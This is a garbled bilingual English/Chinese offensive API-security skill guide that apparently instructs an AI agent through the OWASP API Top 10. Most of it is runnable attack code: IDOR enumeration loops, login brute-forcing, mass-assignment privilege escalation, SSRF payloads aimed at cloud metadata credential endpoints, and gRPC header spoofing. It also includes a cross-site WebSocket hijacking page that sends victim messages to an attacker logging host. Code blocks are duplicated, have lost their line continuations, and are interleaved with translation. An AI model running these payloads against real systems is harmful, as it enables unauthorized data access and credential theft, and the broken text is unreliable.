offensive-api-security
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive API Security Testing
攻击性 API 安全测试
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
你正在对 API 驱动的应用程序进行经授权的安全评估。本 skill 覆盖 REST、gRPC 和 WebSocket 攻击面,并重点关注 OWASP API Security Top 10 2023。所有技术手段都以已取得书面授权且范围明确为前提。你的目标是发现可导致未授权数据访问、权限提升或通过 API 层实施服务中断的漏洞。
Quick Workflow
快速工作流
- Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
- Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
- Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
- Probe authorization boundaries with BFLA checks across roles and HTTP methods.
- Fuzz parameters for mass assignment, content-type switching, and verb tampering.
- Assess rate limiting and resource consumption controls.
- Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
- Evaluate WebSocket security: origin validation, message integrity, CSWSH.
- Check for SSRF via URL-accepting parameters and webhook configurations.
- Document findings with reproduction steps and severity ratings.
- 梳理 API 攻击面:收集 OpenAPI/Swagger 规范、gRPC reflection 输出和 WebSocket 端点。
- 枚举身份验证机制:API key、OAuth flow、JWT、session token。
- 在不同的已认证上下文中替换对象标识符,以测试 BOLA/IDOR。
- 跨角色和 HTTP 方法执行 BFLA 检查,以探测授权边界。
- 对参数进行 fuzzing,测试 Mass Assignment、Content-Type Switching 和 Verb Tampering。
- 评估速率限制和资源消耗控制机制。
- 测试 gRPC 特有攻击向量:reflection enumeration、metadata injection、protobuf manipulation。
- 评估 WebSocket 安全:origin validation、message integrity、CSWSH。
- 通过接受 URL 的参数和 webhook 配置检查 SSRF。
- 记录测试发现,并附上复现步骤和严重性评级。
OWASP API Top 10 2023 -- BOLA and IDOR
OWASP API Top 10 2023 -- BOLA 与 IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
http
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.comReplay with a different user ID while retaining the original token:
http
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.comAutomate IDOR testing across sequential and UUID-based identifiers:
bash
undefinedBroken Object Level Authorization (BOLA) 是最常见的 API 漏洞。测试方法是捕获包含对象标识符的合法请求,然后使用属于其他用户或租户的标识符重新发送该请求。
http
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com保留原始 token,但替换为其他用户 ID 后重新发送:
http
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com对连续标识符和基于 UUID 的标识符自动执行 IDOR 测试:
bash
undefinedSequential ID enumeration
Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $TOKEN_A"
"https://target.example.com/api/v1/users/${id}/orders") echo "ID: ${id} -> HTTP ${status}" done
-H "Authorization: Bearer $TOKEN_A"
"https://target.example.com/api/v1/users/${id}/orders") echo "ID: ${id} -> HTTP ${status}" done
```bashfor id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $TOKEN_A"
"https://target.example.com/api/v1/users/${id}/orders") echo "ID: ${id} -> HTTP ${status}" done
-H "Authorization: Bearer $TOKEN_A"
"https://target.example.com/api/v1/users/${id}/orders") echo "ID: ${id} -> HTTP ${status}" done
```bashTest with collected UUIDs from other endpoints
Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A"
"https://target.example.com/api/v1/documents/${uuid}") echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')" done < collected_uuids.txt
"https://target.example.com/api/v1/documents/${uuid}") echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')" done < collected_uuids.txt
Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:
```bash
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
donewhile read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A"
"https://target.example.com/api/v1/documents/${uuid}") echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')" done < collected_uuids.txt
"https://target.example.com/api/v1/documents/${uuid}") echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')" done < collected_uuids.txt
使用不同 HTTP 方法进行测试——某个端点可能只在 GET 上执行授权检查,而未在 PUT 或 DELETE 上执行:
```bash
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
doneBroken Authentication and Excessive Data Exposure
Broken Authentication 与 Excessive Data Exposure
Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.
bash
undefined对身份验证端点进行测试,以发现凭据填充防护不足、token 生命周期缺陷以及 API 响应中的信息泄露。
bash
undefinedRapid credential testing -- probe for missing rate limits on login
Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}"
-X POST -H "Content-Type: application/json"
-d "{"email":"test@example.com","password":"attempt${i}"}"
"https://target.example.com/api/v1/auth/login") echo "Attempt ${i}: HTTP ${code}" [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break done
-X POST -H "Content-Type: application/json"
-d "{"email":"test@example.com","password":"attempt${i}"}"
"https://target.example.com/api/v1/auth/login") echo "Attempt ${i}: HTTP ${code}" [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break done
Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:
```bash
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .Test token validation weaknesses:
bash
undefinedfor i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}"
-X POST -H "Content-Type: application/json"
-d "{"email":"test@example.com","password":"attempt${i}"}"
"https://target.example.com/api/v1/auth/login") echo "Attempt ${i}: HTTP ${code}" [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break done
-X POST -H "Content-Type: application/json"
-d "{"email":"test@example.com","password":"attempt${i}"}"
"https://target.example.com/api/v1/auth/login") echo "Attempt ${i}: HTTP ${code}" [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break done
通过将完整的 API 响应与 UI 实际呈现的内容进行比较,检查 Excessive Data Exposure。查找内部 ID、其他用户的邮箱、哈希密码、角色分配,或客户端从未显示的 PII:
```bash
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .测试 token 验证弱点:
bash
undefinedExpired token, post-password-change token, malformed bearer values
Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n"
-H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/v1/users/me"
-H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n"
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN"
"https://target.example.com/api/v1/users/me"
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN"
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n"
-H "Authorization: ${val}"
"https://target.example.com/api/v1/users/me" done
-H "Authorization: ${val}"
"https://target.example.com/api/v1/users/me" done
---curl -s -o /dev/null -w "Expired: %{http_code}\n"
-H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/v1/users/me"
-H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n"
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN"
"https://target.example.com/api/v1/users/me"
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN"
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n"
-H "Authorization: ${val}"
"https://target.example.com/api/v1/users/me" done
-H "Authorization: ${val}"
"https://target.example.com/api/v1/users/me" done
---Rate Limiting and Resource Consumption
速率限制与资源消耗
Test for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination.
bash
undefined通过评估 API 是否对请求频率、payload 大小和响应分页实施限制,测试 Unrestricted Resource Consumption (API4:2023)。
bash
undefinedMeasure rate limit headers across rapid requests
Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
curl -s -D - -o /dev/null
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=test" 2>&1 |
grep -iE "x-rate|retry-after|x-ratelimit" sleep 0.1 done
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=test" 2>&1 |
grep -iE "x-rate|retry-after|x-ratelimit" sleep 0.1 done
```bashfor i in $(seq 1 50); do
curl -s -D - -o /dev/null
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=test" 2>&1 |
grep -iE "x-rate|retry-after|x-ratelimit" sleep 0.1 done
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=test" 2>&1 |
grep -iE "x-rate|retry-after|x-ratelimit" sleep 0.1 done
```bashPagination abuse and large payload submission
Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
"https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n"
-X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json" -d @-
"https://target.example.com/api/v1/products"
-X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json" -d @-
"https://target.example.com/api/v1/products"
---curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
"https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n"
-X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json" -d @-
"https://target.example.com/api/v1/products"
-X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json" -d @-
"https://target.example.com/api/v1/products"
---BFLA and Mass Assignment
BFLA 与 Mass Assignment
Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.
bash
undefined当低权限用户能够调用管理类 API 功能时,就会出现 Broken Function Level Authorization (BFLA)。当 API 将客户端提供的数据直接绑定到内部对象属性时,就会出现 Mass Assignment 漏洞。
bash
undefinedBFLA: Test admin endpoints with regular user token
BFLA: Test admin endpoints with regular user token
admin_endpoints=(
"GET /api/v1/admin/users"
"POST /api/v1/admin/users"
"DELETE /api/v1/admin/users/1001"
"GET /api/v1/admin/config"
"PUT /api/v1/admin/config"
"GET /api/v1/internal/metrics"
)
for ep in "${admin_endpoints[@]}"; do
method=$(echo "$ep" | cut -d' ' -f1)
path=$(echo "$ep" | cut -d' ' -f2)
code=$(curl -s -o /dev/null -w "%{http_code}"
-X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN"
"https://target.example.com${path}") echo "${method} ${path} -> HTTP ${code}" done
-X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN"
"https://target.example.com${path}") echo "${method} ${path} -> HTTP ${code}" done
```bashadmin_endpoints=(
"GET /api/v1/admin/users"
"POST /api/v1/admin/users"
"DELETE /api/v1/admin/users/1001"
"GET /api/v1/admin/config"
"PUT /api/v1/admin/config"
"GET /api/v1/internal/metrics"
)
for ep in "${admin_endpoints[@]}"; do
method=$(echo "$ep" | cut -d' ' -f1)
path=$(echo "$ep" | cut -d' ' -f2)
code=$(curl -s -o /dev/null -w "%{http_code}"
-X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN"
"https://target.example.com${path}") echo "${method} ${path} -> HTTP ${code}" done
-X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN"
"https://target.example.com${path}") echo "${method} ${path} -> HTTP ${code}" done
```bashMass assignment: inject properties that should not be user-controllable
Mass assignment: inject properties that should not be user-controllable
curl -s -X PUT
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{ "name": "Updated Name", "role": "admin", "is_admin": true, "permissions": ["admin", "superuser"], "account_type": "premium", "credit_balance": 99999 }'
"https://target.example.com/api/v1/users/me" | jq .
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{ "name": "Updated Name", "role": "admin", "is_admin": true, "permissions": ["admin", "superuser"], "account_type": "premium", "credit_balance": 99999 }'
"https://target.example.com/api/v1/users/me" | jq .
---curl -s -X PUT
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{ "name": "Updated Name", "role": "admin", "is_admin": true, "permissions": ["admin", "superuser"], "account_type": "premium", "credit_balance": 99999 }'
"https://target.example.com/api/v1/users/me" | jq .
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{ "name": "Updated Name", "role": "admin", "is_admin": true, "permissions": ["admin", "superuser"], "account_type": "premium", "credit_balance": 99999 }'
"https://target.example.com/api/v1/users/me" | jq .
---REST Verb Tampering and Content-Type Switching
REST Verb Tampering 与 Content-Type Switching
APIs sometimes apply security controls only to expected HTTP methods or content types. You exploit this by sending requests with unexpected methods or by switching the serialization format.
bash
undefinedAPI 有时仅对预期的 HTTP 方法或 Content-Type 应用安全控制。通过发送带有意外方法的请求或切换序列化格式,可以利用这一点。
bash
undefinedVerb tampering: test all methods against a restricted endpoint
Verb tampering: test all methods against a restricted endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
code=$(curl -s -o /dev/null -w "%{http_code}"
-X "$method" -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/admin/settings") echo "${method} -> HTTP ${code}" done
-X "$method" -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/admin/settings") echo "${method} -> HTTP ${code}" done
```bashfor method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
code=$(curl -s -o /dev/null -w "%{http_code}"
-X "$method" -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/admin/settings") echo "${method} -> HTTP ${code}" done
-X "$method" -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/admin/settings") echo "${method} -> HTTP ${code}" done
```bashMethod override headers -- bypass method-based WAF rules
Method override headers -- bypass method-based WAF rules
curl -s -X POST
-H "X-HTTP-Method-Override: DELETE"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users/1002"
-H "X-HTTP-Method-Override: DELETE"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users/1002"
curl -s -X POST
-H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH"
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"role":"admin"}'
"https://target.example.com/api/v1/users/me"
-H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH"
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"role":"admin"}'
"https://target.example.com/api/v1/users/me"
```bashcurl -s -X POST
-H "X-HTTP-Method-Override: DELETE"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users/1002"
-H "X-HTTP-Method-Override: DELETE"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/users/1002"
curl -s -X POST
-H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH"
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"role":"admin"}'
"https://target.example.com/api/v1/users/me"
-H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH"
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"role":"admin"}'
"https://target.example.com/api/v1/users/me"
```bashContent-type switching and parameter pollution
Content-type switching and parameter pollution
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/x-www-form-urlencoded"
-d "username=admin&password=test&role=admin"
"https://target.example.com/api/v1/users"
-H "Content-Type: application/x-www-form-urlencoded"
-d "username=admin&password=test&role=admin"
"https://target.example.com/api/v1/users"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>'
"https://target.example.com/api/v1/users"
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>'
"https://target.example.com/api/v1/users"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/x-www-form-urlencoded"
-d "username=admin&password=test&role=admin"
"https://target.example.com/api/v1/users"
-H "Content-Type: application/x-www-form-urlencoded"
-d "username=admin&password=test&role=admin"
"https://target.example.com/api/v1/users"
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>'
"https://target.example.com/api/v1/users"
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>'
"https://target.example.com/api/v1/users"
Parameter pollution via duplicate keys
Parameter pollution via duplicate keys
curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
---curl -s -H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
---SSRF via API Parameters
通过 API 参数测试 SSRF
Server-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints.
bash
ssrf_payloads=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/admin"
"http://[::1]:8080/"
"http://0x7f000001/"
"http://internal-service.local/"
)
for payload in "${ssrf_payloads[@]}"; do
echo "--- Testing: ${payload}"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"webhook_url\": \"${payload}\"}" \
"https://target.example.com/api/v1/integrations/webhook" | head -c 500
echo
doneTest SSRF through import/export and profile features:
bash
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
"https://target.example.com/api/v1/data/import"
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/v1/users/me/profile"利用接受 URL 的 API 参数实施 Server-Side Request Forgery (SSRF),可以访问内部服务或云 metadata 端点。
bash
ssrf_payloads=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/admin"
"http://[::1]:8080/"
"http://0x7f000001/"
"http://internal-service.local/"
)
for payload in "${ssrf_payloads[@]}"; do
echo "--- Testing: ${payload}"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"webhook_url\": \"${payload}\"}" \
"https://target.example.com/api/v1/integrations/webhook" | head -c 500
echo
done通过导入、导出和资料功能测试 SSRF:
bash
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
"https://target.example.com/api/v1/data/import"
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/v1/users/me/profile"gRPC Security Testing
gRPC 安全测试
gRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic.
bash
undefinedgRPC 服务暴露出与 REST 不同的攻击面。使用 reflection 枚举服务,使用 grpcurl 构造请求,并使用 mitmproxy 拦截 protobuf 流量。
bash
undefinedEnumerate services via gRPC reflection
Enumerate services via gRPC reflection
grpcurl -plaintext target.example.com:50051 list
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
```bashgrpcurl -plaintext target.example.com:50051 list
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
```bashTest BOLA on gRPC -- access another user's data with your token
Test BOLA on gRPC -- access another user's data with your token
grpcurl -plaintext
-H "authorization: Bearer $TOKEN_A"
-d '{"user_id": "1002"}'
target.example.com:50051 myapp.UserService/GetUser
-H "authorization: Bearer $TOKEN_A"
-d '{"user_id": "1002"}'
target.example.com:50051 myapp.UserService/GetUser
grpcurl -plaintext
-H "authorization: Bearer $TOKEN_A"
-d '{"user_id": "1002"}'
target.example.com:50051 myapp.UserService/GetUser
-H "authorization: Bearer $TOKEN_A"
-d '{"user_id": "1002"}'
target.example.com:50051 myapp.UserService/GetUser
Test admin methods with regular user credentials
Test admin methods with regular user credentials
grpcurl -plaintext
-H "authorization: Bearer $REGULAR_TOKEN"
-d '{}'
target.example.com:50051 myapp.AdminService/ListAllUsers
-H "authorization: Bearer $REGULAR_TOKEN"
-d '{}'
target.example.com:50051 myapp.AdminService/ListAllUsers
Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:
```bash
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN" \
-H "x-forwarded-for: 127.0.0.1" \
-H "x-internal-service: true" \
-H "x-user-role: admin" \
-d '{}' \
target.example.com:50051 myapp.AdminService/GetConfigIntercept and modify gRPC traffic with mitmproxy:
python
undefinedgrpcurl -plaintext
-H "authorization: Bearer $REGULAR_TOKEN"
-d '{}'
target.example.com:50051 myapp.AdminService/ListAllUsers
-H "authorization: Bearer $REGULAR_TOKEN"
-d '{}'
target.example.com:50051 myapp.AdminService/ListAllUsers
Metadata injection——gRPC metadata header 可以像 HTTP header 一样被利用:
```bash
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN" \
-H "x-forwarded-for: 127.0.0.1" \
-H "x-internal-service: true" \
-H "x-user-role: admin" \
-d '{}' \
target.example.com:50051 myapp.AdminService/GetConfig使用 mitmproxy 拦截并修改 gRPC 流量:
python
undefinedmitmproxy addon for gRPC inspection (save as grpc_inspector.py)
mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
from mitmproxy import http
class GrpcInspector:
def request(self, flow: http.HTTPFlow):
if flow.request.headers.get("content-type", "").startswith("application/grpc"):
print(f"[gRPC] {flow.request.method} {flow.request.path}")
for k, v in flow.request.headers.items():
if not k.startswith(":"):
print(f" Metadata: {k}: {v}")
def response(self, flow: http.HTTPFlow):
if flow.response and "grpc-status" in flow.response.headers:
print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")addons = [GrpcInspector()]
---from mitmproxy import http
class GrpcInspector:
def request(self, flow: http.HTTPFlow):
if flow.request.headers.get("content-type", "").startswith("application/grpc"):
print(f"[gRPC] {flow.request.method} {flow.request.path}")
for k, v in flow.request.headers.items():
if not k.startswith(":"):
print(f" Metadata: {k}: {v}")
def response(self, flow: http.HTTPFlow):
if flow.response and "grpc-status" in flow.response.headers:
print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")addons = [GrpcInspector()]
---WebSocket Security Testing
WebSocket 安全测试
WebSocket connections bypass many traditional HTTP security controls. You test origin validation, message injection, authentication persistence, and cross-site WebSocket hijacking.
bash
undefinedWebSocket 连接会绕过许多传统 HTTP 安全控制。测试 origin validation、message injection、身份验证状态保持以及 Cross-Site WebSocket Hijacking。
bash
undefinedOrigin validation testing with websocat
Origin validation testing with websocat
websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
websocat "wss://target.example.com/ws/chat" # no origin
websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
```python
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json
async def test_ws_injection(url, token):
headers = {"Cookie": f"session={token}"}
async with websockets.connect(url, extra_headers=headers) as ws:
test_payloads = [
json.dumps({"type": "message", "content": "hello"}),
json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
json.dumps({"type": "admin_broadcast", "content": "injected"}),
json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
json.dumps({"type": "message", "content": "A" * 1000000}),
]
for payload in test_payloads:
await ws.send(payload)
try:
response = await asyncio.wait_for(ws.recv(), timeout=3)
print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
except asyncio.TimeoutError:
print(f"Sent: {payload[:80]} -> No response\n---")
asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))Cross-Site WebSocket Hijacking (CSWSH) verification:
html
<!-- Host on attacker-controlled domain -- authorized testing only -->
<script>
var ws = new WebSocket("wss://target.example.com/ws/chat");
ws.onopen = function() {
console.log("[CSWSH] Connection opened -- origin validation missing");
ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
};
ws.onmessage = function(evt) {
console.log("[CSWSH] Received: " + evt.data);
fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
};
ws.onerror = function(e) {
console.log("[CSWSH] Connection failed -- origin may be validated");
};
</script>websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
websocat "wss://target.example.com/ws/chat" # no origin
websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
```python
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json
async def test_ws_injection(url, token):
headers = {"Cookie": f"session={token}"}
async with websockets.connect(url, extra_headers=headers) as ws:
test_payloads = [
json.dumps({"type": "message", "content": "hello"}),
json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
json.dumps({"type": "admin_broadcast", "content": "injected"}),
json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
json.dumps({"type": "message", "content": "A" * 1000000}),
]
for payload in test_payloads:
await ws.send(payload)
try:
response = await asyncio.wait_for(ws.recv(), timeout=3)
print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
except asyncio.TimeoutError:
print(f"Sent: {payload[:80]} -> No response\n---")
asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))Cross-Site WebSocket Hijacking (CSWSH) 验证:
html
<!-- Host on attacker-controlled domain -- authorized testing only -->
<script>
var ws = new WebSocket("wss://target.example.com/ws/chat");
ws.onopen = function() {
console.log("[CSWSH] Connection opened -- origin validation missing");
ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
};
ws.onmessage = function(evt) {
console.log("[CSWSH] Received: " + evt.data);
fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
};
ws.onerror = function(e) {
console.log("[CSWSH] Connection failed -- origin may be validated");
};
</script>API Versioning and Security Misconfiguration
API 版本控制与安全配置错误
APIs that maintain multiple versions often have inconsistent security controls. Deprecated versions may lack patches applied to current versions.
bash
undefined维护多个版本的 API 往往具有不一致的安全控制。已弃用的版本可能缺少当前版本已应用的补丁。
bash
undefinedEnumerate API versions
Enumerate API versions
versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/${ver}/users/me") [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}" done
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/${ver}/users/me") [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}" done
```bashversions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/${ver}/users/me") [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}" done
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/${ver}/users/me") [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}" done
